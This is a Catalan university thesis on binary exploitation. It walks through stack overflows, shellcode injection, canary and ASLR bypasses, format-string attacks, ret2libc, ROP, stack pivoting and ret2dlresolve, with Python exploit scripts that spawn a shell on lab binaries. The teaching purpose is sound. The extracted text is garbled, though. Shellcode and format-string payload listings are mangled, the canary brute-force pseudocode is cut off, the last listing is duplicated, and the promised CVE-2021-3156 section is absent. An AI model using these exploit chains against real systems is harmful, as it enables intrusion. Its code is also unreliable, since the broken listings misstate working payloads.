Treball final de grau

GRAU EN ENGINYERIA INFORMÀTICA

Facultat de Matemàtiques i Informàtica
Universitat de Barcelona

_______________________________

BINARY EXPLOITATION:
Memory corruption

_______________________________

Autor: Oriol Ornaque Blázquez

Director: Raúl Roca Cánovas
Realitzat a: Departament de
Matemàtiques i Informàtica

Barcelona, 20 de juny de 2021
Binary exploitation

Memory corruption

Oriol Ornaque Blázquez

Abstract

Binaries, or programs compiled down to executables, might come with errors or bugs that could trigger behavior unintended by their authors. By carefully understanding the environment where programs get executed, the instructions and the memory, an attacker can gracefully craft a specific input, tailored to trigger these unintended behaviors and gain control over the original logic of the program. One of the ways this could be achieved, is by corrupting critical values in memory. This work focuses on the main techniques to exploit buffer overflows and other memory corruption vulnerabilities to exploit binaries. Also a proof-of-concept for CVE-2021-3156 is presented with an analysis of its inner workings.

Resum

Els binaris, o programes compilats en executables, poden venir amb errors o bugs que podrien desencadenar un comportament no previst pels seus autors. Entendre acuradament l'entorn en el qual s'executen els programes, les instruccions i la memòria, permet a un atacant elaborar dades d'entrada específiques, adaptades per desencadenar aquests comportaments no desitjats i obtenir el control sobre la lògica original del programa. Una de les maneres d'aconseguir-ho és corrompint values crítics en la memòria del programa. Aquest treball es centra en les principals tècniques per explotar desbordaments de memòria i altres vulnerabilitats de corrupció de memòria per a explotar binaris. També es presenta una prova de concepte, una demostració, de CVE-2021-3156 amb una anàlisi del seu funcionament.

Resumen

Los binarios, o programas compilados en ejecutables, pueden venir con errores o bugs que podrían desencadenar un comportamiento no previsto por sus autores. Al entender cuidadosamente el entorno en el que se ejecutan los programas, las instrucciones y la memoria, un atacante puede elaborar datos de entrada específicos, adaptados para desencadenar estos comportamientos no deseados y obtener el control sobre la lógica original del programa. Una de las formas de conseguirlo es corrompiendo valores críticos en la memoria del programa. Este trabajo se centra en las principales técnicas para explotar desbordamientos de memoria y otras vulnerabilidades de corrupción de memoria para explotar binarios. También se presenta una prueba de concepto, una demostración, de CVE-2021-3156 con un análisis de su funcionamiento.
## Contents

1 Stack overflows .......................... 1
  1.1 The stack .................................. 1
     1.1.1 Stack frame .............................. 2
     1.1.2 Overflowing the stack .................. 2
  1.2 Basic overflow ............................ 3
  1.3 Shellcode injection ........................ 5

2 Stack overflow countermeasures ......... 9
  2.1 Stack canaries ............................ 9
     2.1.1 Check for canaries ..................... 10
     2.1.2 Bypassing stack canaries .............. 10
  2.2 NX/DEP/W⊕X ................................ 11
     2.2.1 Check for NX ............................ 11
  2.3 ASLR/PIE .................................. 12
     2.3.1 Check for ASLR/PIE ..................... 12

3 Format strings ............................ 13
  3.1 Format functions ......................... 13
  3.2 Format string vulnerability .............. 14
  3.3 Format string exploits .................... 14
     3.3.1 Arbitrary read ......................... 14
     3.3.2 Arbitrary write ......................... 16

4 Return-oriented programming .......... 19
  4.1 ret2lib .................. ................. 19
  4.2 ROP .................................. 21
     4.2.1 ROP Gadgets ....................... 21
  4.3 Stack pivoting ........................... 24
  4.4 ret2dlresolve .................. ............ 26
     4.4.1 Structures ......................... 26
     4.4.2 Symbol resolution ..................... 27
  4.5 Sigreturn-oriented programming .......... 32
     4.5.1 Signal handler mechanism .............. 33
     4.5.2 sigcontext struct ..................... 33
     4.5.3 SROP ............................. 33
Chapter 1

Stack overflows

1.1 The stack

The most common way for CPUs to implement procedure or subroutine calls is by the means of a stack. Thanks to its last-in first-out nature, the stack is a simple and effective solution to keep track of the order of the callings: when you call a subroutine, you push the address of the next instruction onto the stack and once the subroutine has finished executing you can return where you left by popping the previously pushed address. The address of the next instruction pushed on the stack is called the return address.

```c
void do_something() {
    do_something_a();
    // 2
    do_something_b();
    // 3
}

int main() {
    do_something();
    // 1
    return 0;
}
```

Figure 1.1: Simplified stack timeline
This stack coexists in the main memory of the computer along the code and the data and for Intel x86 and x86_64 CPUs, it is controlled by two registers: the stack pointer and the base pointer.

1.1.1 Stack frame

The stack holds much more information that just the execution path that the program has taken. It also holds local variables, the previous base pointer before the call and subroutine arguments and return values (it may vary between calling conventions). To group all that data associated with a subroutine call, we use the term stack frame, and it is composed of the following components (in push order):

1. Parameters of the subroutine. In 64-bit Linux, the default calling convention specifies that the first 5 parameters must be passed on registers instead of the stack.

2. Return address.

3. Locals of the subroutine.

The stack drewed in Figure 1.2 is an example of stack frame for the foo procedure.

```
void foo( int arg )
{
    int a;
}

int main()
{
    foo(1);
    return 0;
}
```

![Figure 1.2: Standard C 32-bit calling convention stack layout](image)

1.1.2 Overflowing the stack

Now that we know that the stack contains a mix of modifiable variables and critical data like the return address comes an important question:

*Can we modify the return address? Indeed.*

Consider the following stack, Figure 1.3. It has a local variable called buffer that spans for \( n \) bytes. If we fill that buffer with \( n + 1 \) bytes, the excess of 1 byte will overwrite partially the saved base pointer (bp). To overwrite the return address we just need to fill the buffer with \( n + \text{sizeof}(bp) + \text{sizeof}(ip) \) bytes.

When the processor finishes executing the subroutine, it will pop the return address and set the instruction pointer register to that value, **executing the bytes found at that address as code**. By choosing precise values for the return address we can redirect code execution wherever we want.
1.2 Basic overflow

To do a basic stack overflow I recommend using a premade environment with all the protections disabled to focus on the basic exploit. For this first example, I will use the virtual machine Phoenix found at exploit.education specifically the level Stack4.

On this level we found a ret2win exercise. The code contains a function win that is never called but is present on the binary. The goal is to execute that function overwriting the return address to point to the address of win. In order to achieve the stack overflow we need to input more data than expected so we can overflow the buffer on the stack and override the
return address. There are a few functions in the C Standard Library that do not perform bounds checking on the input received: in this particular case, we are presented with the function `gets`. A quick look into the man page of that function reveals the vulnerability on the bugs section.

![Figure 1.5: man 3 gets: Bugs section](image)

We need to supply `gets` with the following data:

1. 64 bytes of junk for the buffer
2. 8 bytes of junk for the return local variable
3. 8 bytes of junk for the stack alignment padding
4. 8 bytes of junk for the saved base pointer
5. 8 bytes with the address of `complete_level` for the return address

To find the address of `complete_level` we can use a debugger like `gdb`. A simple Python 2.7 script will do the job.

```python
Listing 1.1: stack4_exploit.py
exploit = "\x41" * 64 # for the buffer
exploit += "\x41" * 8 # for the ret local var
exploit += "\x41" * 8 # for stack alignment padding
exploit += "\x41" * 8 # for the rbp
exploit += "\x1d\x06\x40\x00\x00\x00\x00\x00" # address of complete_level in little-endian
print exploit
```

And we are done.

![Figure 1.6: Exploiting Stack4](image)

Some last thoughts on why that exploit was possible:

- We knew in advance the address where `complete_level` was loaded
- No bounds checking was performed on the user input
- There was nothing checking the integrity of the stack frame
1.3 Shellcode injection

In the last exploit we returned to the `win` function to solve the challenge. But in the general case we want to achieve arbitrary code execution, not just returning to the functions already present in the binary. This can be done by passing as input the machine code of the instructions we would like to execute and override the return address to point to wherever we store that machine code, thus injecting and executing the shellcode. Take a look at the next exercise: [Stack5](#) from the Phoenix VM.

```c
/* ... */

void start_level() {
    char buffer[128];
    gets(buffer);
}

int main(int argc, char **argv) {
    printf("%s\n", BANNER);
    start_level();
}
```

The program is very similar to the Stack4: a buffer on the stack and a call to `gets`, that we know is vulnerable to overflows. On the last exploit, almost all of our input was just junk bytes. In this exploit, we are going to use that junk space to store the shellcode and the return address will point to the start of the shellcode.

If the last exploit was called `ret2win` because we returned to the `win` function this exploit could be named `ret2stack` or `ret2buffer` because we will be returning to the buffer on the stack.

You could assemble your own shellcode manually, but I am going to use this shellcode found at [shell-storm.org](http://shell-storm.org) that performs an `execve("/bin/sh")`.

The format of the input to `gets` will be:

1. 27 bytes of shellcode
2. $128 - \text{len(shellcode)}$ bytes of NOPs to fill the buffer
3. 8 bytes of NOPs for the saved base pointer
4. 8 bytes with the address of the start of the buffer, where our shellcode is located

We will change the junk bytes with NOP opcodes (0x90) because we are now executing instructions on the stack. If the CPU starts executing and finds random bytes, it will launch an invalid opcode exception and kill the process. In this particular case it does not matter because the shellcode is at the beginning and the `execve` will replace the process image with the one from /bin/sh, including the stack but while you are debugging the shellcode and the exploit they can be essential.

In my `gdb` debugging session I found the address of the start of the buffer to be `0x7fffffffe490`, and so I plugged that number into my exploit script.

```python
exploit = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48" 
"\xf7\x8b\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" 
exploit += "\x90" * (128 - \text{len(exploit)})
```
Inside the debugger the script worked, but outside it failed. Taking a closer look into the error we can see that the value for the `rsp` register once we returned from `start_level` is different from the value it had inside the debugger. This offset causes us to jump to a wrong address and instead of our shellcode the CPU is trying to execute random bytes and thus, provoking an illegal opcode trap. We have to account for that difference in our script.

![Debugged process and non debugged process](image)

Figure 1.7: Stack offsets between debugged process and non debugged process

\[
0x\ldots570 - 0x\ldots520 = 0x50
\]

We have to add this offset to the start of the buffer, `0x\ldots490`.

\[
0x\ldots490 + 0x50 = 0x\ldots4e0
\]

This problem did not happen in the last challenge because we were not returning to the stack but to a function in the binary.

Listing 1.2: stack5_exploit.py

```py
    exploit += "\x90" * 8
    exploit += "\x90\xe4\xff\xff\xff\x7f\x00\x00"
    print exploit
```

```py
    exploit = "\x31\xc0\x48\xbb\xd1\x96\x91\x97\xbf\x0f\x05"
```

exploit += "\x90" * (128 - len(exploit))
exploit += "\x90" * 8
exploit += "\xe0\xe4\xff\xff\xff\x7f\x00\x00"
print exploit

One last thing. The shell runs in interactive mode by default and it expects to be connected to stdin. If you do not redirect standard input to the shell, it will close automatically upon start, so you need to concatenate the python output with standard input and pass everything to the executable.

Some thoughts on why this exploit was possible:

- We knew in advance the address of the buffer on the stack.
- No bounds checking was performed on the user input.
- There was nothing checking the integrity of the stack frame.
- We could execute instructions stored on the stack.
Chapter 2

Stack overflow countermeasures

2.1 Stack canaries

Stack canaries are secret values placed between local buffers and the return address. This value is checked before a function returns and if the value has changed, that means that it has been overwritten and the return address may be overwritten too, possibly indicating a stack overflow attack. When that situation happens, the program automatically exits to prevent the stack overflow. The value of the canary is changed every time the program starts to make it unpredictable.

This countermeasure is designed to check for the stack frame integrity, detecting when a possible stack overflow has occurred.

Figure 2.1: Stack canary

Checking for a value every time a function returns comes with a performance penalty and for that reason compilers allow opting out from using stack canaries. Compilers usually compile with stack protectors by default. To compile a program without stack canaries in gcc use the -fno-stack-protector option. Some compilers have options to specify which functions
you want to be compiled with stack canaries to achieve a trade-off between performance and security.

Figure 2.3: man gcc

2.1.1 Check for canaries

To check for the existence of canaries on a binary we can take a look at the disassembled code or we can search for the symbol `__stack_chk_fail`, the function that checks the canary integrity.

```bash
readelf -s a.out | grep -q '__stack_chk_fail'
```

2.1.2 Bypassing stack canaries

Leaking the stack canary

Stack canaries are not bulletproof though and can be bypassed. If you include the stack canary value in your input when you overflow the stack the canary checking function will not detect the stack overflow. Note that the canary value in the input must align with the canary value in the stack. So to bypass the canary we need to know its value, a value that changes every time the binary is executed. If we could make the binary reveal its contents in runtime we could read the canary value. We have to leak it (see subsection 3.3.1).

Bruteforcing the stack canary

There is also a bruteforce approach to processes that use the `fork` function for POSIX systems. `fork` copies the hole process image from the parent to the child, stack canaries included. Therefore, the canaries are the same for both the child and the parent. This is useful for programs like web servers that use `fork` to handle the incoming connections. The bruteforce approach consist of leaking the canary one byte at the time.

Listing 2.1: Pseudocode for bruteforcing a canary in a fork program

```c
uint8_t canary[STACK_CANARY_WIDTH];
for(int i = 0; i < STACK_CANARY_WIDTH; ++i)
{
```

This algorithm reduces the entropy space from $256^{\text{STACK_CANARY_WIDTH}}$ to $256 \times \text{STACK_CANARY_WIDTH}$.

### Bypass using Exception Handling

Another technique to bypass stack canaries consist of triggering an exception before the canary is checked. If the attacker can overwrite an exception handler structure and trigger the exception a SEH based stack overflow exploit could be executed.[9]

### Replace the canary value

Replace the authoritative canary value in the .data section of the program. Because the canary is computed at runtime the section where it resides must be marked as writable. To use this technique an arbitrary write is needed.

### Arbitrary writes

An arbitrary write implies the ability to write an arbitrary value to an arbitrary memory location marked as writable. This means that we can write values on addresses that are not contiguous to our overflow, giving us the possibility to overwrite the return address without having to overwrite the stack canary.

### 2.2 NX/DEP/W⊕X

NX is a protection that marks a memory region as non-executable. Different operating systems and architectures present different mechanism to implement the same concept. On Microsoft Windows it is called Data Execution Protection. On BSD systems it is called write ⊕ execute, referring to the rule that no memory section should be marked as writable and executable at the same time. The terms can, and they will, be used interchangeably.

On the previous exploit we returned to the stack where we loaded instructions. Now, if the stack is marked as non-executable, those instructions on the stack cannot be executed: the CPU will throw an exception.

#### 2.2.1 Check for NX

To check for this security feature on a binary we can take a look at the permissions of the section where the stack will be loaded[8]. Again, this depends on the compiler, the OS and the architecture.

```
readelf -W -l a.out | grep 'GNU_STACK'
```
2.3 ASLR/PIE

ASLR is the acronym of Address Space Layout Randomization. It is a feature that randomizes the location of the libraries on the process memory, rendering useless attacks with hardcoded addresses, like our second exploit. Every time an executable is launched, the OS needs to create the process memory space and the loader loads the dynamic libraries the process requires on certain addresses. Conventionally, those addresses were resolved at compile time and were included on the executable. The executable format contains indications for the OS on how to create its process and where it expects the libraries to be located. That caused that the addresses of the libraries where known and predictable. To make them harder to exploit, the kernel randomizes the location of those libraries every time the executable is executed.

To compile a program without ASLR/PIE support on gcc use the `-no-PIE` option.

2.3.1 Check for ASLR/PIE

For ASLR to work, the operating system needs to support it and applications must be compiled with ASLR in mind. Because the load locations are unknown at compile time, the compiler needs to create a Position Independent Code or Executable. To check if the OS has ASLR enabled:

```
1. cat /proc/sys/kernel/randomize_va_space
2. # 0 = Disabled
3. # 1 = Conservative randomization
4. # 2 = Full randomization
```

To check if a binary has been compiled with ASLR support:

```
1. readelf -h a.out | grep "DYN"
```

Additionally, in Linux systems we can use the `LD_TRACE_LOADED_OBJECTS` environment variable to modify the behavior of the loader, which prints out the dynamic library dependencies and their addresses where they were loaded at runtime. In systems with ASLR enabled, those addresses will be different each time the same command is executed. In systems where ASLR is disabled, the addresses will always be the same.

![Figure 2.4: libc base address loaded at runtime with ASLR enabled/disabled](image-url)
Chapter 3

Format strings

3.1 Format functions

C uses the concept of format strings to specify some functions how their arguments should be treated. Those functions are unique in the way they use a variable number of arguments, as opposed to the fixed number of arguments normal functions have in statically typed languages like C. The format string indicates the function how to interpret the arguments received. Some examples of this type of functions are:

- `printf (fprintf, sprintf, vsnprintf, ...)`
- `scanf (sscanf, fscanf, vfscanf, ...)`

These functions are often used to perform input/output with the user. They are conversion functions, representing primitive C data types in a human-readable string representation and vice versa. Vulnerabilities on input/output functions for a program are a recurrent theme in cybersecurity. The format strings are a critical component of the function as they dictate how the arguments should be processed.

<table>
<thead>
<tr>
<th>Conversion specifier</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>d</td>
<td>Takes an int from the stack and converts it to signed decimal notation</td>
</tr>
<tr>
<td>x</td>
<td>Takes an unsigned int from the stack and converts it to hex</td>
</tr>
<tr>
<td>p</td>
<td>Takes a void* from the stack and prints it as a hex address</td>
</tr>
<tr>
<td>s</td>
<td>Dereferences a const char* on the stack and reads until null byte</td>
</tr>
<tr>
<td>n</td>
<td>Dereferences an int* on the stack and writes the number of characters written so far</td>
</tr>
</tbody>
</table>

Table 3.1: Common format conversion specifiers table
int arg1, arg2, arg4;
char* arg3 = "Hello world";
printf("%x %d %s %n
", arg1, arg2, arg3, &arg4);

The format function uses an internal pointer to know which argument corresponds with the conversion specified on the format string. This pointer increases as the function parses the format string.

### 3.2 Format string vulnerability

If the format string can somehow be provided by the user, an attacker wins control over the behavior of the format function. Therefore, **if an attacker is able to provide the format string a format string vulnerability is present.**

```c
int main(int argc, char* argv[]){
    if(argc != 2) return 1;
    printf(argv[1]); // Format string vulnerability
    return 0;
}
```

#### 3.3 Format string exploits

##### 3.3.1 Arbitrary read

By using the `%s` conversion specifier we can read from an address stored on the stack. If the input buffer we use is a stack allocated buffer, we can put any address we want to examine.
on that buffer and create an appropriate input so when the format function parses the %s specifier it uses our address on the buffer.

```c
int main()
{
    int dummy;
    char buffer[] = "AAAAAAAA %x %x %x %s %x %x;",
    printf(buffer, dummy);

    return 0;
}
```

Figure 3.3: Anatomy of an arbitrary read format string exploit

The %s specifiers are used to make printf's internal pointer to the arguments point to a specific offset, in this case, to our buffer. By adding more %s we can point further down on the stack (higher addresses) and by removing them we point upwards (lower addresses).

When %s is parsed, it dereferences the address pointed by the printf's internal pointer. Thanks to our padding of %s we made it point to the buffer, where we carefully placed the address we want to read from: 0x4141414141414141.

Can be used to leak a stack canary.

Example

In this exercise we are going to read the value of the variable s3cr3t that it is not allocated on the stack. To accomplish this task, we need to input the address of s3cr3t on the start of the buffer followed by format specifiers.

```
Listing 3.1: exploit.py
```

```
$ python2 exploit.py > qwe
$ ./a.out qwe > asd
```

As printf parses the format string, the extra format specifiers will make the internal pointer point to the start of the buffer, where we carefully stored the address of our target.
The next "%s" will read the address and treat as a pointer, dereferencing the address and printing the value.

### 3.3.2 Arbitrary write

We can employ the same technique from the arbitrary read to overwrite arbitrary memory but instead of using the "%s" specifier we use the "%n" specifier, which writes back to an address. The "%n" writes the number of bytes written so far. To control that number we can make use of padding and size modifiers.

**Example**

To showcase an arbitrary write from a format string I am going to overwrite the return address without affecting the stack canary. I want to return to the `win` function that will print out `win` on the screen when executed. This function is called nowhere on the original code. Compile the code with stack canaries enabled.
3.3 Format string exploits

Now we need to indicate the value we want to write on the selected address. Because \%n writes back the number of characters already printed, we can use padding in one of the format specifiers to make it print \( x \) characters. The address of \texttt{win} is 0x8049256. To write that value with \%n, \texttt{printf} needs to print 134517334 characters minus the previously printed, like the address and the padding format specifiers. After the calculation, the number of characters left to print is 134517192.

Listing 3.2: exploit.py

```python
#exploit = "\x41\x41\x41\x41" * 8
exploit = "\x9c\xd0\xff\xff" * 8 # Address of return address
exploit += "\x08x" * 12
exploit += "\x134517192c"
exploit += \%n
print exploit
```

It is important to unset certain environment variables that could move the stack up and down and make the exploit inconsistent. Running the exploit we execute \texttt{win()}.

![Figure 3.7: \texttt{win()} function executed.](image)
Chapter 4

Return-oriented programming

4.1 ret2libc

In a traditional stack overflow we try to return to some shellcode in a buffer we can control. For this reason, a countermeasure appeared to prevent execution on writable segments (see \[2.2\]). With this limitation, we cannot inject code anymore. The solution comes from reusing the existing code to achieve our goals, like in the ret2win example (see \[1.2\]). Libc is a library loaded on almost all processes, so returning to a function inside libc is always an option. Furthermore, libc declares system, a very well suited win function.

To perform the call to system we need to prepare the stack with the parameters that the compiler would set for a compiled call to system:

```c
int system(const char* command);
```

We require the address of command to be present on the stack, before (higher addresses) the overwritten return address.

![ret2libc stack layout](image)

Figure 4.1: ret2libc stack layout

Example

For this example we will use a custom vulnerable 32bit program compiled with all the protections disabled, with no debugging symbols and ASLR turned off for the operating system.
Listing 4.1: example.c

```c
#include <stdio.h>
#include <stdlib.h>

void vuln()
{
    char buffer[64];
    fgets(buffer, 128, stdin);
}

int main()
{
    vuln();
    return 0;
}
```

Using our layout for a ret2libc exploit we need to plug in the addresses of the `system` function and a "/bin/sh" string. Because the binary was compiled with no debugging symbols we can’t search for the symbol inside gdb or another debugger. But because ASLR is disabled, we know where libc will be loaded. We could get the offset of `system` from the libc base address to know where it will be located at runtime.

![Figure 4.2: libc base address](image1)

![Figure 4.3: `system` offset from libc base address](image2)

![Figure 4.4: "/bin/sh" string offset from libc base address](image3)

Knowing all those addresses we can plug them into a python script taking into account how the stack will unwind and what `system` expects to be on the stack.

Listing 4.2: exploit.py

```python
exploit = "\x41" * 76
exploit += "\x30\xc8\xe0\xf7" # system address
```
exploit += "\x00" * 4  # padding
exploit += "\x52\x93\xf5\xf7"  # /bin/sh address
print exploit

Once we crafted the exploit we need to concatenate it with stdin to obtain access to the shell (see 1.3).

When compiling a binary for 64bits, the default calling convention used by gcc in Linux systems is the System V AMD64 ABI, which specifies that the first 6 parameters (integers or pointers) are passed in registers instead of being pushed on the stack. That represents a problem for our ret2libc technique, as we only control the stack.

To overcome this issue we will use return-oriented programming, the generalized and refined form of a ret2anything exploit.

4.2 ROP

Return-oriented programming is a programming paradigm by which an attacker can induce arbitrary behavior in a program without code injection. This defeats the countermeasure of NX/DEP/W@X.

This technique presents a whole new programming paradigm (an esoteric one): using the code of a existing program to create another program inside the process, by means of concatenating return addresses and a stack overflow.

In a typical stack overflow, we override the return stack writing only one address.

4.2.1 ROP Gadgets

ROP Gadgets are machine code snippets that end with a ret instruction. We can chain them together by pushing their start addresses in sequence on a stack overflow attack, creating a ROP chain.
Example

We will use the same program for the ret2libc example, but compiled for 64-bit. Because of the default calling convention for 64-bit gcc binaries on Linux, we need to pass the "/bin/sh" string pointer in the register rdi. To accomplish this, we will search for gadgets on the binary.

Because we control the stack thanks to the stack overflow, we could use a pop rdi instruction to put our pointer into the register.

Before calling system we have to set up the string pointer in rdi, so this gadget will be the first we will return to, followed by the address of "/bin/sh" and the address of system.
4.2 ROP

We collect again the addresses of interest because we are now using the 64bit libc.

Figure 4.9: Stack layout for example

![Stack layout for example](image)

We collect again the addresses of interest because we are now using the 64bit libc.

Figure 4.10: libc base address at runtime

![Libc base address at runtime](image)

Figure 4.11: `system` offset from libc base address

![System offset from libc base address](image)

Figure 4.12: "/bin/sh" offset from libc base address

Listing 4.3: exploit64.py

```python
1 exploit = '\x41' * 72
2 exploit += '\xaf' + '\x10' + '\x40' + '\x00' * 6 # nop gadget for stack alignment
3 exploit += '\xe3' + '\x11' + '\x40' + '\x00' * 6 # pop rdi gadget
4 exploit += '\xaa' + '\x95' + '\xf7' + '\xf7' + '\xff' + '\x7f' + '\x00' * 5 # binsh
5 exploit += '\x10' + '\x74' + '\xe1' + '\xf7' + '\xff' + '\x7f' + '\x00' * 5 # system
6 print exploit
```

Again, to keep the shell open we need to concatenate the exploit with stdin.
4.3 Stack pivoting

A stack pivot attack consists of creating a fake stack somewhere in memory and tricking the program to use it as its stack. This technique is useful when the legitimate stack lacks space for a ROP chain.

For this attack, it is necessary to control the stack pointer register to be able to change the stack of the program for the attacker-controlled one. To accomplish this, we need to find some gadgets:

1. `pop rsp`. Ideal gadget in theory. Hardly found in any executable.
2. `xchg reg, rsp`. Used in combination with `pop reg` to write a value on `reg` to later exchange it with `rsp`. Requires 16 bytes of stack space after the return address.
3. `leave; ret`. All functions except `main` are ended with `leave; ret`. That makes this case the most plausible. The `leave` instruction is equivalent to:

```
1      mov rsp, rbp
2      pop rbp
```

If we call `leave` two consecutive times, the first `pop rbp` will be used to set `rsp` on the second `leave`.

![Stack layout for a stack pivoting attack](image)

**Example**

In this exercise the objective is to pivot the stack to `buffer`. I will use the `leave` gadget to trigger the pivot.
First, we need the `leave` gadget.

The address shown in Figure 4.15 is only an offset from the base address of the binary. To make it usable add it to the base address.

Once we pivoted the stack, on the `leave` gadget, the following `ret` instruction will pop from `buffer` the return address. In this case, I filled it with the address of `win` so at the end, we will jump to that function.

```
1 padding = 72
2 exploit += b"\xed\x61\x55\x56" * 18 # address of win
3 exploit += b"\x90\xd0\xff\xff" # address of buffer
4 exploit += b"\x31\x61\x55\x56" # leave gadget
5 print exploit
```

With this exploit, the sequence of instructions we want to execute is the following.

```
1 mov esp, ebp
2 pop ebp ← &buffer
3 ret ← leave gadget  
4 mov esp, ebp ← Stack pivoting
5 pop ebp ← First 4 bytes of buffer
6 ret ← &win
```

```
Figure 4.16: Stack pivoting example: instruction sequence
```

Setting a breakpoint on `win` we can see that now, the `esp` register points to the user supplied buffer. We have pivoted the stack.
Return-oriented programming

Figure 4.17: esp points to buffer

Figure 4.18: Successful exploitation

4.4 ret2dlresolve

Technique for executing dynamically linked functions without knowledge of their addresses. The attacker tricks the binary into resolving a function of its choice into the Procedure Linkage Table, bypassing ASLR.

When the binary calls a dynamically linked function for the first time and has lazy binding enabled (no RELRO or Partial RELRO), it is going to jump into the PLT section to try to resolve the symbol on demand.

4.4.1 Structures

In order to resolve a symbol, 3 structures are needed. By faking them, we could trick the loader to resolve a symbol of our choice.
4.4 ret2dlresolve

JMPREL

Corresponds to the rel.plt segment and holds the relocation table. This table maps a symbol to an offset on the GOT. The r_info field gives us the index of the symbol on the SYMTAB.

SYMTAB

Symbol table. Stores information about the symbols. The most important field for this exploit is st_name which is the offset on the STRTAB structure.

STRTAB

String table. Stores the name of the symbols.

4.4.2 Symbol resolution

When linking, the linker is going to replace every dynamic call to an entry on the PLT table, located on the .plt table. The PLT table contains executable code formed by stubs. This stubs will jump to the GOT table to try to execute the intended function if it is resolved but if the function is not present on the GOT table (the function has not been resolved yet) the GOT code will return to the PLT entry to call the resolver.

The process for calling a dynamic function is the following:

1. Control is transferred to the .plt entry of the function, for example puts@plt.

2. That .plt entry gets a value from the .got section. This value can have two different interpretations:

   (a) If the symbol has been previously resolved, the value points to where the function has been loaded at runtime.
      i. Control is transferred to the resolved function, for example puts@libc.

   (b) If the symbol has not been previously resolved, the value points back to a different part of the symbol entry on the .plt.
      i. Push the reloc_index. This argument is the entry index on the JMPREL table.
      ii. Jump to the default entry stub on the .plt.
         A. Push the link_map into the stack.
         B. Call __dl_runtime_resolve.
      iii. Call the resolved symbol.
Every time a symbol is resolved via \texttt{\_dl\_runtime\_resolve}, the corresponding GOT entry is updated to point to the resolved address.

\texttt{\_dl\_runtime\_resolve} receives as parameters the \texttt{link\_map} and the \texttt{reloc\_index} in the stack, even for x86-64 systems. Then it will move this parameters into \texttt{rsi} and \texttt{rdi} respectively and call \texttt{\_dl\_fixup}, which is the resolver.

The source code for the \texttt{\_dl\_runtime\_resolve} function can be found on the glibc source code.

Faking the data structures and passing them to \texttt{\_dl\_runtime\_resolve()} effectively corrupts the GOT table and hijacks function calls.

\texttt{\_dl\_runtime\_resolve} is in reality only a wrapper for \texttt{\_dl\_fixup}, which in turns does all the heavy lifting for the symbol resolution. Here we can find all the computations needed to link the JMPREL, SYMTAB and STRTAB structures together to get the symbol information.

\begin{verbatim}
#define ELF64_R_SYM ((i) >> 32)

void* _dl_fixup(struct link_map* l, Elf64_Word reloc_arg) {
    Elf64_Rela* reloc_entry = JMPREL + (reloc_arg * sizeof(Elf64_Rela));
    Elf64_Sym* symbol_entry = SYMTAB[ELF64_R_SYM(reloc_entry->r_info)];
    const char* symbol_string = STRTAB + symbol_entry->st_name;
    /* ... */
}
\end{verbatim}
Example

Now we can use a buffer overflow to trick \_\_\_dl\_runtime_resolve into resolving the symbols of our choosing. To do that, we need to jump to the start of the .plt section, where the code for pushing the link list and calling \_\_\_dl\_runtime\_resolve is found. Before the jump we need to set on the top of the stack the index on the JMPREL that we want to resolve. This index will have to point to our fake data structures, written on some buffer, attending the previous formula.

```
Elf64_Relax reloc_entry = JMPREL + (reloc_arg * sizeof(Elf64_Relax));
```

The address of JMPREL can be found by examining the ELF headers of the executable. If the binary has PIE enabled, the value will be an offset from the image base; if PIE is not enabled, the value is an absolute address.

```
readelf -d a.out | grep -e JMPREL -e STRTAB -e SYMTAB
```

![Figure 4.20: Addresses of the most important tables for the exploit](image)

reloc\_arg has as type Elf64\_Word, an alias for a 32bit unsigned integer. That imposes a restriction: The distance between the JMPREL and our fake data cannot be greater than \(0xffffffff \times \text{sizeof(Elf64\_Rela)} = 0x17FFFFFFE8\). Often we only can write to the stack, which is usually too far away from the JMPREL. In order to be in range, we will need to call a read into a more proper location. This exploit is going to have 2 stages:

1. ROP chain to write our fake data structures in another buffer near JMPREL, SYMTAB and STRTAB.
2. Jump to \_\_\_dl\_runtime\_resolve with reloc\_arg pointing into the fake data structures.

Stage 1

A simple ROP chain to call read on a convenient address that will write the fake data structures to feed them to the resolver.

```
exploit = b"A" * 64 # buffer
exploit += b"A" * 8 # rbp
exploit += p64(nop_gadget)
exploit += p64(nop_gadget)
exploit += p64(nop_gadget)
```
exploit += p64(set_regs_for_read_gadget)
exploit += p64(0) # stdin_fileno
exploit += p64(fake_data_addr) # buffer
exploit += p64(fake_data_len) # buffer len
exploit += p64(syscall_gadget) # read

The section where the buffer for the fake data will be written must have RW permissions and must be mapped after the tables. To find such a section we can search on the ELF section headers.

![Figure 4.21: .data and .bss segments of the process](image)

![Figure 4.22: Mapped segments of the process](image)

I will use the last portion of the last segment of a.out, the address 0x403e00. Because of

\[(0x403e00 - 0x400480) \mod 0x18 \equiv 8\]

the first two bytes of the second buffer will be padding for the relocation entry, that is going to start at 0x403e10, which is divisible by 24. Now we compute the value that

\[\_d1\_resolve\_runtime\] requires to find the symbol.

\[
\frac{(0x403e10 - 0x400480)}{0x18} = 0x266
\]

That will be the relocation index passed as a parameter to the resolver.

![Figure 4.23: Offsets from the tables to the second buffer](image)
Stage 2

Now we fill the entries in sequence. For the relocation entry, the important field is `r_info`. In x86_64 Linux systems, 32 highest bits of this field hold the offset from the SYMTAB to the symbol entry. The lowest 32 bits stores the type of relocation. To bypass a check in `_dl_fixup` these bits must be set to 7. The `Elf64_Rela` struct has one more field of 64 bits but since this field is unused, I overlapped it with the symbol entry. This trick also helps me with padding as 0x403e18 is not aligned with SYMTAB. The computation for the index of the symbol entry follows the same scheme that the relocation offset.

```python
exploit += p64(got_entry_after_read) # Elf64_Rela.r_offset
exploit += p32(0x7) # Elf64_Rela.r_info low
exploit += p32(0x271) # Elf64_Rela.r_info high
exploit += p32(0x3a50) # Elf64_Sym.st_name
exploit += p8(0x0)
exploit += p8(0x0)
exploit += p16(0x0)
exploit += p64(0x0)
exploit += p64(0x0)
exploit += b"system\x00\x00"
exploit += b"\bin\sh\x00"
```

The symbol entry has been zeroed out except for the `st_name` field which stores the distance in bytes from STRTAB to a string

```python
exploit += p16(0x0)
exploit += p64(0x0)
exploit += p64(0x0)
exploit += b"system\x00\x00"
exploit += b"\bin\sh\x00"
```

